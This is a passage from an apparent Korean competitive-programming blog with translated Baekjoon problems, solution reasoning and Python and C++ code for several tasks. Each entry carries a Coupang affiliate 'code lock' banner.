$X$가 주어질 때, $X$보다 작거나 같은 수가 몇개인지는 $O(N)$에 셀 수 있다. 그리고 $X$보다 작거나 같은 수가 $K$개 이상인 수중 가장 작은 $X$가 정답이다. 따라서 파라메트릭 서치를 이용해 $O(N\\log{10^9})$정도에 계산하자. 💻 풀이 코드 (python): N = int(input()) K = int(input()) def count(X): # 배열에서 X 이하 수의 개수 result = 0 for i in range(1, N+1): result += min(N, X // i) return result ok = N*N ng = 0 # 답의 범위는 [1, N*N]이므로 while ok - ng \u0026gt; 1: mid = (ok + ng) // 2 if count(mid) \u0026gt;= K: ok = mid else: ng = mid print(ok) 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-10T00:00:00Z","permalink":"/posts/algorithm/ps/260210_algorithm_boj-1300-k%EB%B2%88%EC%A7%B8-%EC%88%98/","title":"BOJ 1300 K번째 수"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/18214 번역 문제 번역 Susan은 식탁 정리는 잘하지만, 사무실 책상 정리는 잘 못합니다.\nSusan은 방금 일련의 문서들에 대한 서류 작업을 마쳤고, 문서들은 여전히 책상에 쌓여 있습니다. 문서들은 일련번호가 있으며, 상사가 가져왔을 때는 순서대로 쌓여 있었습니다. 그러나 지금은 순서가 완벽하지 않은데, Susan이 너무 게을러서 더미에서 빠져나온 문서들을 제자리에 다시 넣지 않았기 때문입니다. 작업이 끝났다는 소식을 듣고, 상사는 그녀에게 보내고 있는 문서 상자에 문서들을 즉시 반납하기를 원합니다. 물론 문서들은 일련번호 순서대로 상자에 보관되어야 합니다.\n책상에는 두 개의 문서 더미를 더 놓을 공간만 있어서, Susan은 두 개의 임시 더미를 만들 계획입니다. 현재 더미의 모든 문서들은 위에서부터 하나씩 두 임시 더미 중 하나로 옮겨져야 합니다. 서둘러 이 더미들을 너무 높게 만들면 무너질 수 있으므로, 너무 많은 문서를 쌓아서는 안 됩니다. 모든 문서를 임시 더미로 옮기고 문서 상자를 받은 후, 두 더미의 문서들은 위에서부터 하나씩 상자로 옮겨집니다. 문서들을 순서대로 상자에 넣으려면, 두 더미에서 일련번호의 역순으로 있어야 합니다.\n예를 들어, 더미에 위에서부터 순서대로 1, 3, 4, 2, 6, 5의 6개 문서가 있고, 임시 더미에는 최대 3개의 문서만 쌓을 수 있다고 가정합니다. 그러면 그녀는 두 개의 임시 더미를 만들 수 있는데, 하나는 위에서부터 6, 4, 3 문서를 가지고, 다른 하나는 5, 2, 1을 가집니다 (그림 E.1). 두 임시 더미 모두 역순으로 정렬되어 있습니다. 그런 다음 두 임시 더미의 맨 위 문서의 일련번호를 비교하여, 더 큰 번호를 가진 것(이 경우 #6)을 먼저 제거하여 문서 상자에 보관합니다. 이것을 반복하면 모든 문서가 문서 상자에 완벽하게 순서대로 정렬됩니다.\nSusan은 현재 더미의 문서들로 이 계획이 실제로 실행 가능한지, 그렇다면 두 임시 더미에 쌓는 방법이 몇 가지나 되는지 궁금해합니다. 계획이 실행 불가능하면 0이어야 합니다.\n더미의 각 문서는 두 임시 더미 중 하나로 옮겨질 수 있으므로, n개의 문서에 대해 총 2^n개의 서로 다른 선택 조합이 있지만, 그 중 일부는 임시 더미의 역순을 방해하여 부적절할 수 있습니다.\n위에서 설명한 예는 샘플 입력의 첫 번째 케이스에 해당합니다. 이 경우, 마지막 두 문서인 5와 6은 목적지를 바꿀 수 있습니다. 또한 두 임시 더미의 역할을 완전히 교환해도 괜찮습니다. 다른 이동 순서는 더미 중 하나를 3보다 높게 만들거나 순서를 틀리게 만들 수 있으므로, 이 예에서 문서를 임시 더미에 쌓는 서로 다른 방법의 총 개수는 2 × 2 = 4입니다.\n입력 입력은 다음 형식의 단일 테스트 케이스로 구성됩니다.\nn m s1 ... sn 여기서 n은 더미의 문서 수(1 ≤ n ≤ 5000)이고, m은 무너질 위험 없이 하나의 임시 더미에 쌓을 수 있는 문서 수(n/2 ≤ m ≤ n)입니다. s1부터 sn까지의 숫자는 문서 더미의 맨 위에서 맨 아래까지 문서의 일련번호입니다. 1부터 n까지의 모든 숫자가 정확히 한 번씩 나타나는 것이 보장됩니다.\n출력 목적에 맞는 두 임시 더미를 만드는 방법의 수를 한 줄에 정수로 출력합니다. 가능한 선택이 없으면 방법의 수는 당연히 0입니다.\n가능한 방법의 수가 10^9 + 7 이상이면, 방법의 수를 10^9 + 7로 나눈 나머지를 출력합니다.\n🧐 관찰 및 접근 LIS 두개로 분할하는 문제이다. 이를 위해서 두 스택을 $A, B$라고 하면, $A$의 맨위 값, $B$의 맨위 값, $A$ 스택 안에있는 개수를 사용하면 $O(N^3)$ DP풀이는 나오는 것 같은데, 줄이기 쉽지 않아보인다. 그런데, 두 스택에 나누어 담는걸 다르게 생각해보자. 어떤 두 수가 반전수$(i \u003c j, A_i \u003e A_j)$를 이룬다면 두 수는 같은 스택에 들어가선 안된다. 이 관계를 간선으로 나타내면, 이분 그래프로 해석할 수 있겠다. 그렇다면 이분그래프에서 한 컴포넌트가 두가지 색으로 칠해진다면, 그 개수를 $m, n$이라고 해보자. 각 스택에 $m$개 혹은 $n$개가 추가되어야 한다. 이는 배낭 문제로 해석할 수 있다! 💻 풀이 코드 (C++): pii coloring(int cur, int c){ pii res = {0, 0}; color[cur] = c; if(c == 1) res.first++; else res.second++; for(auto nxt: links[cur]){ if(color[nxt] == 0){ pii tmp = coloring(nxt, 3 - c); res.first += tmp.first; res.second += tmp.second; } else if(color[nxt] == c){ return {-1e9, -1e9}; } } return res; } void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 0, N) cin \u0026gt;\u0026gt; S[i]; rep(i, 0, N) rep(j, i+1, N){ if(S[i] \u0026gt; S[j]){ links[i].push_back(j); links[j].push_back(i); } } vector\u0026lt;pii\u0026gt; groups; rep(i, 0, N) if(color[i] == 0){ pii tmp = coloring(i, 1); if(tmp.first \u0026lt; 0){ cout \u0026lt;\u0026lt; 0; return; } groups.push_back(tmp); } vector\u0026lt;mint\u0026gt; DP(N+1, 0); DP[0] = 1; for(auto [a, b]: groups){ vector\u0026lt;mint\u0026gt; nDP(N+1, 0); rep(i, 0, N+1){ if(i+a \u0026lt;= N) nDP[i+a] += DP[i]; if(i+b \u0026lt;= N) nDP[i+b] += DP[i]; } swap(DP, nDP); } mint ans = 0; rep(i, 0, N+1) if(i \u0026lt;= M \u0026amp;\u0026amp; (N-i) \u0026lt;= M) ans += DP[i]; cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-10T00:00:00Z","permalink":"/posts/algorithm/ps/260210_algorithm_boj-18214-reordering-the-documents/","title":"BOJ 18214 Reordering the Documents"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/20929 🧐 관찰 및 접근 문제의 제한인 $2^{19}$와 횟수를 볼때, 이분 탐색을 장려하고 있는 것 같다. 다음과 같은 상황을 생각해보자. 길이 8의 배열 2개에서 다음과 같이 $N/2$번째 수인 4번째 수를 비교했을 때, 위와 같이 작은 배열의 아래 절반과 큰 배열의 윗쪽 절반은 고려할 필요가 없어진다. 위와 마찬가지로, 위에서 작은 배열 쪽 4개를 제외하고 보면 $N$이 절반으로 줄어든 상황에서 같은 방식으로 반복할 수 있음을 알 수 있다. 따라서 위와 같은 과정을 1개가 남을때까지 반복하면 두 값은 각각 $N, N+1$번째 값일 것이다. 문제에서는 $N$번째 수를 요구했으므로, 더 작은 수를 출력하자. 💻 풀이 코드 (python): def Query(s, idx): \u0026#34;\u0026#34;\u0026#34; 질문 \u0026#34;? s idx\u0026#34;을 하고 입력받는 함수 \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;?\u0026#34;, s, idx) return int(input()) N = int(input()) A_Lidx = 1 A_Ridx = N # [A_Lidx ~ A_Ridx] 에 정답 후보가 있음 B_Lidx = 1 B_Ridx = N # [B_Lidx ~ B_Ridx] 에 정답 후보가 있음 while A_Ridx \u0026gt; A_Lidx: A_mid = (A_Lidx + A_Ridx) // 2 B_mid = (B_Lidx + B_Ridx) // 2 A_ret = Query(\u0026#34;A\u0026#34;, A_mid) B_ret = Query(\u0026#34;B\u0026#34;, B_mid) if A_ret \u0026lt;= B_ret: A_Lidx = A_mid + 1 B_Ridx = B_mid else: A_Ridx = A_mid B_Lidx = B_mid + 1 A_ret = Query(\u0026#34;A\u0026#34;, A_Lidx) B_ret = Query(\u0026#34;B\u0026#34;, B_Lidx) print(\u0026#34;!\u0026#34;, min(A_ret, B_ret)) 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-10T00:00:00Z","permalink":"/posts/algorithm/ps/260210_algorithm_boj-20929-%EC%A4%91%EA%B0%84/","title":"BOJ 20929 중간"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/27421 번역 문제 Taro는 장난감 철도 선로 세트를 가지고 놀고 있습니다. 모든 선로는 직각 중심각(90도 각도)을 가진 호 모양이지만, 반지름은 다양합니다. Taro는 이 모든 선로를 사용하여 하나의 루프를 만들려고 합니다. 여기서 선로 세트가 하나의 루프를 형성한다는 것은 모든 선로의 양 끝이 다른 선로와 부드럽게 연결되고, 모든 선로가 직접 또는 간접적으로 다른 모든 선로와 연결되어 있을 때를 의미합니다. Taro가 이것을 달성할 수 있는지 여부를 알려주세요.\n선로는 임의의 순서로 연결할 수 있지만, 인접한 선로의 방향에 따라 방향이 제한됩니다. 부드럽게 연결되어야 하기 때문입니다. 예를 들어, 기차가 동쪽으로 들어와서 90도 회전하여 북쪽으로 나가도록 선로를 배치하면, 다음 선로는 기차가 북쪽으로 들어와서 90도 회전하여 동쪽 또는 서쪽으로 나가도록 배치해야 합니다(그림 F.1). 고가 건설이 가능하므로 선로는 서로 교차하거나 겹칠 수도 있습니다.\n입력 입력은 다음 형식의 단일 테스트 케이스로 구성됩니다.\nn r_1 ... r_n $n$은 선로의 개수를 나타내며, $4≤n≤100$을 만족하는 짝수입니다. 각 $r_i$​는 $i$번째 선로의 반지름을 나타내며, $1≤r_i≤10000$을 만족하는 정수입니다.\n출력 모든 선로를 사용하여 하나의 루프를 만들 수 있으면 Yes를 출력하고, 그렇지 않으면 No를 출력합니다.\n🧐 관찰 및 접근 흠 일단\u0026hellip; 예제 2번에서 볼 수 있듯이, $1 ,1 ,1$ 은 $3$으로 쓸 수 있다. 홀수개라면 합쳐서 크기를 늘리는게 가능하다. 음\u0026hellip; $3, 1, 1, 1$이 있다고 치고, 안쪽으로 말면서 하면 이걸 $2$로도 해석할 수 있는데\u0026hellip; 예제 3번이 아마 $10, 10, 2, 5, 1$을 이용해서 $(0, 0) -\u003e (14, 16) -\u003e (113, -83) -\u003e (98, -98) -\u003e (0, 0)$이 된걸 보면, 조금 자유롭게 쓰는것도 문제 없는것 같다. 결국 각 호를 이용해서 $(r, r), (r, -r), (-r, r), (-r, -r)$ 의 선택을 하는거 같은데.. 이때 서로 마주보는 느낌의 호인 원의 왼쪽위 / 오른쪽위, 왼쪽아래 / 오른쪽아래의 개수가 맞아야 한다! 음, 관찰을 좀더 해보니, 저 움직임의 선택에서 반대로 가기 $(r_1, r_1) \\rightarrow (-r_2, -r_2)$ 같은거 빼고는 좀 자유롭게 되는거같은데. 조금 더 쉽게 생각하기 위해 호가 아니라 선분이라고 생각하고, 전반적으로 $45\\degree$ 돌려보자. 위와 같은 그림으로 해석할 수 있겠다. 결국 각 선로를 상하좌우 $4$개의 그룹으로 나누고, $S_{right} = S_{left}, S_{up} = S_{down}$을 만족해야 할 것 같다. 회로를 만들기 위해선 상하좌우 각 그룹에 하나 이상씩은 들어있어야 할 것 같다. 그런데 첫번째 친구가 원의 왼쪽위 모양의 $(r, r)$ 그룹이었다고 생각해보자. 이 친구 다음에는 $(r, r), (-r, r)$이 올 수 있는걸 보니.. 이어진 개수에 따라 다음 친구가 (우, 하) 에서 선택할 수 있을지 (우, 상)에서 선택할 수 있을지가 갈린다. 경로가 스무스할 조건이 어려운데\u0026hellip; (우 우 상 좌 하) 도 모양이 스무스하지 않다. 아, 전반적으로 같은 모양을 연달아 사용할때 시계 / 반시계 모양의 패리티가 바뀌는 것 같다. 일단 돌리기 전에 호로 해석할때, 위를 바라보는 꼭짓점을 0, 오른쪽을 1, 아래를 2, 왼쪽을 3이라고 하자. $(r, r)$ 간선은 $0 \\leftrightarrow 1$ 을 왔다갔다 한다. $(r, -r)$ 간선은 $1 \\leftrightarrow 2$를 왔다갔다 한다. 이런 느낌을 볼때,결국 오른쪽을 바라보는 꼭짓점은 $S_{r, r} + S_{r, -r}$ 번 등장하는거 같은데.. 이는 들어가는것 / 나가는것 포함이므로, 이는 짝수여아한다. 위와 같은 방법을 반복하면, 상하좌우 4개 그룹의 패리티는 같아야한다는 결론이 나온다! 위 내용들을 모두 정리하자면, 상 하 좌 우 4개 그룹의 패리티는 같아야하고, 각 그룹의 크기는 1 이상이어야 한다. 상 그룹의 합과 하 그룹의 합은 같아야하고, 좌 그룹과 우 그룹의 합도 같아야한다. 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; vector\u0026lt;int\u0026gt; R(N); rep(i, 0, N) cin \u0026gt;\u0026gt; R[i]; int sum = 0; for(auto x: R) sum += x; if(sum % 2){ cout \u0026lt;\u0026lt; \u0026#34;No\u0026#34;; return; } vector\u0026lt;vector\u0026lt;int\u0026gt;\u0026gt; DP(N+1, vector\u0026lt;int\u0026gt;(mxS, 0)); DP[0][0] = 1; ll cnt = 0; rep(idx, 0, N){ int x = R[idx]; rrep(i, 0, idx+1) rep(j, 0, sum/2+1) if(DP[i][j] \u0026amp;\u0026amp; j + x \u0026lt;= sum/2){ if(i%2 == 1 \u0026amp;\u0026amp; j + x == sum/2) cnt += DP[i][j]; if(cnt \u0026gt;= 4){ cout \u0026lt;\u0026lt; \u0026#34;Yes\u0026#34;; return; } DP[i+1][j+x] += DP[i][j]; } } cout \u0026lt;\u0026lt; \u0026#34;No\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-10T00:00:00Z","permalink":"/posts/algorithm/ps/260210_algorithm_boj-27421-make-a-loop/","title":"BOJ 27421 Make a Loop"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/31498 🧐 관찰 및 접근 집 - 토카 - 돌돌이 형태로 있는 것 같다. 매 수행마다 토카는 $B, B-K, B-2*K \\cdots$ 만큼 움직이고, 돌돌이는 $D$만큼 계속 움직인다. 토카가 잡힌다면, 그 순간 토카가 움직인 길이는 $D$보다 작을 것이다. 따라서 토카가 어느 순간 잡혔다면, 토카와 돌돌이가 계속 움직인다고 가정하면 돌돌이는 토카보다 훨씬 왼쪽에 있게 된다. 따라서 시간에 토카와 돌돌이의 위치에 단조성이 존재한다. 이분 탐색을 이용할 수 있겠다. 토카가 집에 도착하지도 못하는 상황, $K$가 0인상황 등 여러가지 예외 상황을 조심하자. 💻 풀이 코드 (python): A, B = map(int, input().split()) C, D = map(int, input().split()) K = int(input()) # 토카가 집에 도착할 수는 있는가? # B + (B-K) + (B-2K) + ... \u0026gt;= A if K \u0026gt; 0: # K = 0이면 무조건 도착할 수 있음 cnt = B // K # B - cnt * K \u0026gt;= 0 인 최대 cnt tot = B * (cnt + 1) - K * (cnt * (cnt + 1)) // 2 # B + (B-K) + ... + (B - cnt * K) if tot \u0026lt; A: print(-1) exit(0) # 토카가 집에 도착하는 타이밍이 돌돌이보다 이른가? def toka_move(time): if K \u0026gt; 0: time = min(time, B // K + 1) return B * time - K * (time * (time - 1)) // 2 ok, ng = 10**12, 0 # 토카가 집에 도착하는 가장 빠른 타이밍 while ok - ng \u0026gt; 1: mid = (ok + ng) // 2 if toka_move(mid) \u0026gt;= A: ok = mid else: ng = mid if D*ok \u0026lt; A + C: # 아직 돌돌이가 도착하지 않았다면 print(ok) else: print(-1) 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-10T00:00:00Z","permalink":"/posts/algorithm/ps/260210_algorithm_boj-31498-%EC%9E%A5%EB%82%9C%EC%9D%84-%EC%9E%98-%EC%B9%98%EB%8A%94-%ED%86%A0%EC%B9%B4-%EC%96%91/","title":"BOJ 31498 장난을 잘 치는 토카 양"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/13448 🧐 관찰 및 접근 얻는 점수가 $M_i - t * p_i$가 아닌 $M_i$라면, 단순한 배낭문제일텐데.. 이걸 위해서 $N$에 대한 비트마스킹을 추가하는건 미친짓이다 그런데, 어떤 문제들을 풀기로 결정했다면, 그 문제들에 대해 순서를 정하는건 그리디하게 되지 않나? 문제 $i, j$가 있다고 하자. $i \\rightarrow j$로 풀면 $(M_i - t * P_i) + (M_j - (t + R_i)*P_j)$ 점을 얻게 되고 $j -\u003e i$로 풀면 $(M_j - t*P_j) + (M_i - (t + R_j) * P_i)$ 점을 얻게 된다. 위에서 아래 식을 빼면 $P_i * R_j - P_j * R_i$ 이고, $i \\rightarrow j$가 이득이기 위해선 이게 양수여야하므로 $\\frac{P_i}{R_i} \\geq \\frac{P_j}{R_j}$로 정렬하는 그리디 전략이 유효하다. 그렇다면 이 순서로 냅색 DP를 수행하자. 💻 풀이 코드 (C++): void solve(){ int N, T; cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; T; vector\u0026lt;Problem\u0026gt; Prob(N); rep(i, 0, N) cin \u0026gt;\u0026gt; Prob[i].M; rep(i, 0, N) cin \u0026gt;\u0026gt; Prob[i].P; rep(i, 0, N) cin \u0026gt;\u0026gt; Prob[i].R; sort(all(Prob), [](Problem \u0026amp;A, Problem \u0026amp;B){ return A.P * B.R \u0026gt; B.P * A.R; }); vector\u0026lt;ll\u0026gt; DP(T+1); for(auto [M, P, R]: Prob) rrep(t, 0, T+1){ if(t - R \u0026lt; 0) break; DP[t] = max(DP[t], DP[t - R] + (M - P*t)); } ll ans = 0; rep(i, 0, T+1) ans = max(ans, DP[i]); cout \u0026lt;\u0026lt; ans; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-08T00:00:00Z","permalink":"/posts/algorithm/ps/260208_algorithm_boj-13448-sw-%EC%97%AD%EB%9F%89-%ED%85%8C%EC%8A%A4%ED%8A%B8/","title":"BOJ 13448 SW 역량 테스트"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/26857 번역 문제 번역 두 형제 Aldo와 Bondan은 COVID-19 팬데믹 상황이 악화되어 도시가 다시 봉쇄되면서 집에 갇혀 있습니다. 그들은 학기를 마치고 방학 중이지만, 집 밖으로 나갈 수 없다면 무슨 방학을 즐길 수 있을까요? 하지만 지루함은 창의성을 불러일으킵니다. 그들은 지루한 방학 동안 새로운 게임을 만들었습니다.\n이 게임은 R행 C열의 보드에서 진행되며, 각 칸은 0개 또는 1개의 토큰을 포함합니다. 각 토큰은 \u0026lsquo;a\u0026rsquo;부터 \u0026lsquo;z\u0026rsquo;까지의 문자로 표현되는 26가지 색상 중 하나로 칠해져 있습니다. 보드에는 최소 하나의 토큰이 있습니다.\n두 명의 대전 플레이어가 번갈아가며 플레이합니다. 자신의 턴에 플레이어는 하나의 토큰을 선택하여 인접한 칸(북쪽, 남쪽, 서쪽 또는 동쪽 방향)으로 이동시킵니다(비어있지 않은 칸으로도 이동 가능).\n**좋은 이동(good move)**은 색상 x의 토큰을 이미 같은 색상 x의 토큰이 있는 칸으로 이동시키는 경우에만 성립합니다.\n게임의 목표는 가능한 한 많은 좋은 이동을 하는 것입니다. 좋은 이동을 엄격하게 더 많이 한 플레이어가 게임에서 승리합니다. 두 플레이어가 같은 수의 좋은 이동을 했다면 무승부이며 아무도 이기지 못합니다.\n이 게임은 무한정 플레이될 수 있습니다. 하지만 Aldo와 Bondan은 Aldo가 첫 번째 이동을 하고 총 10^100번의 이동을 하기로 합의했습니다.\nBondan은 이런 종류의 게임이 지루하다고 생각하여 게으르게 플레이하기로 결정했습니다. Bondan의 턴이 될 때마다, 그는 Aldo가 바로 직전 턴에 이동시킨 것과 같은 토큰을 선택하고, 그 토큰을 인접한 칸으로 균일하게 무작위로 이동시킵니다.\n그럼에도 불구하고 Bondan은 지는 것을 좋아하지 않습니다. 게임이 시작되기 전에, 그는 보드 크기를 변경하거나 토큰의 초기 위치를 이동시켜 Bondan이 게으르게 플레이하더라도 Aldo가 게임에서 이길 확률이 정확히 0이 되도록 보드를 변경할 수 있습니다.\n구체적으로, 보드는 R × C에서 R\u0026rsquo; × C\u0026rsquo;로 확장될 수 있으며(R\u0026rsquo; ≥ R이고 C\u0026rsquo; ≥ C), 각 토큰의 초기 위치는 각 칸에 최대 하나의 토큰만 있도록 보장하면서 다른 칸으로 이동될 수 있습니다. 토큰을 버리거나 새로운 토큰을 보드에 추가할 수 없습니다.\n이 문제에서 여러분의 과제는 Bondan이 게으르게 플레이하더라도 총 10^100번의 이동으로 Aldo(첫 번째 플레이어)가 게임에서 이길 확률이 0이 되도록 하는 새로운 보드 설정을 찾는 것입니다. 새로운 보드 설정은 최소 총 칸 수를 가져야 합니다. 여러 해답이 있다면 그 중 하나만 출력하면 됩니다.\n입력 첫 줄에 두 정수 R C (1 ≤ R, C ≤ 1000)가 주어지며, 이는 보드의 초기 행 수와 열 수를 나타냅니다. 보드에는 최소 2개의 칸이 있음이 보장됩니다.\n다음 R개의 줄에는 각각 C개의 문자가 포함되어 초기 보드 상태를 나타냅니다. \u0026lsquo;.\u0026rsquo; 문자는 빈 칸을 나타내고, 소문자 알파벳(\u0026lsquo;a-z\u0026rsquo;)은 해당 색상의 토큰을 나타냅니다. 보드에는 최소 1개의 토큰이 있음이 보장됩니다.\n출력 첫 줄에 두 정수 R\u0026rsquo; C\u0026rsquo;를 출력하며, 이는 새로운 보드의 행 수와 열 수를 나타냅니다.\n다음 R\u0026rsquo;개의 줄에는 각각 C\u0026rsquo;개의 문자가 포함되어 새로운 보드 상태를 나타냅니다. \u0026lsquo;.\u0026rsquo; 문자는 빈 칸을 나타내고, 소문자 알파벳(\u0026lsquo;a-z\u0026rsquo;)은 해당 색상의 토큰을 나타냅니다.\n새로운 보드는 Bondan이 게으르게 플레이하더라도 총 10^100번의 이동으로 Aldo(첫 번째 플레이어)가 게임에서 이길 확률이 0임을 보장해야 합니다. 최소 총 칸 수를 가져야 하며 초기 보드와 동일한 토큰 세트를 가져야 합니다.\n🧐 관찰 및 접근 같은 알파벳들끼리의 격자그래프 홀짝성을 맞추면 되는거같다. (다 짝수로) 알파벳별로 개수가 정해졌을때, 어떻게 밀어넣냐인데.. $a$만 엄청 많다고 할때, 여러줄로 하는거보다 한줄에 밀어넣는게 더 좋다. 근데 뭐가됐든 $R'*C'$를 최소화해야하는데.. $R'$를 정했다고 가정하면, 모든 토큰들을 넣을수 있게 되는 $C'$를 찾는건 단조성이 있으니 이분탐색으로 가능할 것 같다. $R', C'$를 정했을때 그리디하게 알파벳들을 집어넣어도 될까? 이건 된다! 그러면 짝수칸 / 홀수칸에 맘대로 넣을 수 있다는걸 생각하면, 배낭문제처럼 보인다. 그런데, 짝수칸은 홀수칸보다 최대 한개 많을 수 있다. 그렇다면, 양쪽 배낭의 합의 차이를 최소로 만드는 전략이 유효해보인다. 이분탐색 등을 잘 버무려서, 어케어케 짝수칸 / 홀수칸의 합을 넘기는 $R', C'$를 구하자. 이후 그리디하게 문자들을 채워넣으면 된다. 💻 풀이 코드 (C++): int calc_evenCnt(int r, int c){ return ((r+1)/2) * ((c+1)/2) + (r/2) * (c/2); } void solve(){ cin \u0026gt;\u0026gt; R \u0026gt;\u0026gt; C; rep(i, 0, R){ string S; cin \u0026gt;\u0026gt; S; for(auto c: S) if(c != \u0026#39;.\u0026#39;) cnt[c-\u0026#39;a\u0026#39;]++; } rep(i, 0, 26) sum += cnt[i]; vector\u0026lt;bitset\u0026lt;mxRC\u0026gt;\u0026gt; DP(27, bitset\u0026lt;mxRC\u0026gt;()); DP[0][0] = 1; rep(i, 0, 26) DP[i+1] = DP[i] | (DP[i] \u0026lt;\u0026lt; cnt[i]); int mnDiff = mxRC, mnSum = -1; rep(i, 0, mxRC) if(DP[26][i]){ if(abs(i - (sum - i)) \u0026lt; mnDiff){ mnDiff = abs(i - (sum - i)); mnSum = sum - i; } } int goal = max(mnSum, sum - mnSum); vector\u0026lt;bool\u0026gt; used(26, false); int cidx = 26, csum = goal; while(cidx \u0026amp;\u0026amp; csum){ if(cnt[cidx-1] \u0026amp;\u0026amp; csum-cnt[cidx-1] \u0026gt;= 0 \u0026amp;\u0026amp; DP[cidx-1][csum - cnt[cidx-1]]){ used[cidx-1] = true; csum -= cnt[cidx-1]; } cidx--; } pii ret = {-1, -1}; int mnRC = mxRC; rep(nR, R, R*C*2){ if(nR * C \u0026gt; mnRC) break; int ok = R*C*2, ng = C-1; while(ok - ng \u0026gt; 1){ int mid = (ok + ng) / 2; int evenCnt = calc_evenCnt(nR, mid); int oddCnt = nR * mid - evenCnt; if(evenCnt \u0026gt;= goal \u0026amp;\u0026amp; oddCnt \u0026gt;= sum - goal) ok = mid; else ng = mid; } if(nR * ok \u0026lt; mnRC){ mnRC = nR * ok; ret = {nR, ok}; } } auto [nR, nC] = ret; cout \u0026lt;\u0026lt; nR \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; nC \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; queue\u0026lt;char\u0026gt; Q[2]; rep(i, 0, 26){ if(used[i]) rep(_, 0, cnt[i]) Q[0].push(char(\u0026#39;a\u0026#39; + i)); else rep(_, 0, cnt[i]) Q[1].push(char(\u0026#39;a\u0026#39; + i)); } rep(i, 0, nR) rep(j, 0, nC){ if((i+j)%2){ if(!Q[1].empty()){ cout \u0026lt;\u0026lt; Q[1].front(); Q[1].pop(); } else cout \u0026lt;\u0026lt; \u0026#39;.\u0026#39;; } else{ if(!Q[0].empty()){ cout \u0026lt;\u0026lt; Q[0].front(); Q[0].pop(); } else cout \u0026lt;\u0026lt; \u0026#39;.\u0026#39;; } if(j == nC-1) cout \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-02-08T00:00:00Z","permalink":"/posts/algorithm/ps/260208_algorithm_boj-26857-cell-game/","title":"BOJ 26857 Cell Game"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/26969 번역 문제 번역 Bessie는 \u0026ldquo;소 유전체학: 다큐멘터리\u0026quot;를 보고 싶지만, 혼자 가고 싶지 않습니다. 불행히도, 그녀의 친구들은 함께 갈 만큼 열정적이지 않습니다! 따라서 Bessie는 친구들이 영화관에 함께 가도록 뇌물을 줘야 합니다. 그녀는 두 가지 뇌물 수단을 가지고 있습니다: 무니(mooney)와 아이스크림 콘입니다.\nBessie는 $N$명 ($1 \\le N \\le 2000$)의 친구가 있습니다. 하지만 모든 친구가 똑같지는 않습니다! 친구 $i$는 인기도 점수 $P_i$ ($1 \\le P_i \\le 2000$)를 가지고 있으며, Bessie는 자신과 함께 가는 친구들의 인기도 점수 합을 최대화하고 싶습니다. 친구 $i$는 Bessie가 $C_i$ ($1 \\le C_i \\le 2000$) 무니를 주면 함께 가려고 합니다. 또한 Bessie가 $X_i$ ($1 \\le X_i \\le 2000$)개의 아이스크림 콘을 주면 1 무니의 할인을 제공합니다. Bessie는 할인으로 인해 친구가 그녀에게 무니를 주지 않는 한, 한 친구로부터 원하는 만큼 정수 단위의 할인을 받을 수 있습니다.\nBessie는 $A$개의 무니와 $B$개의 아이스크림 콘을 가지고 있습니다 ($0 \\le A, B \\le 2000$). 그녀가 무니와 아이스크림 콘을 최적으로 사용했을 때 달성할 수 있는 인기도 점수 합의 최댓값을 구하는 것을 도와주세요!\n입력 첫 번째 줄에는 세 개의 숫자 $N$, $A$, $B$가 주어지며, 각각 친구의 수, Bessie가 가진 무니의 양, 아이스크림 콘의 개수를 나타냅니다.\n다음 $N$개의 줄 각각에는 세 개의 숫자 $P_i$, $C_i$, $X_i$가 주어지며, 각각 인기도 ($P_i$), 친구 $i$가 Bessie와 함께 가도록 하는 데 필요한 무니 ($C_i$), 친구 $i$로부터 1 무니 할인을 받는 데 필요한 아이스크림 콘 ($X_i$)을 나타냅니다.\n출력 Bessie가 무니와 아이스크림 콘을 최적으로 사용했을 때, 함께 가는 친구들의 인기도 점수 합의 최댓값을 출력합니다.\n🧐 관찰 및 접근 2초에 $O(NAB)$ 8억을 믿어볼까? 아 나이브는 아이스크림 콘을 몇개 줄지를 몰라서 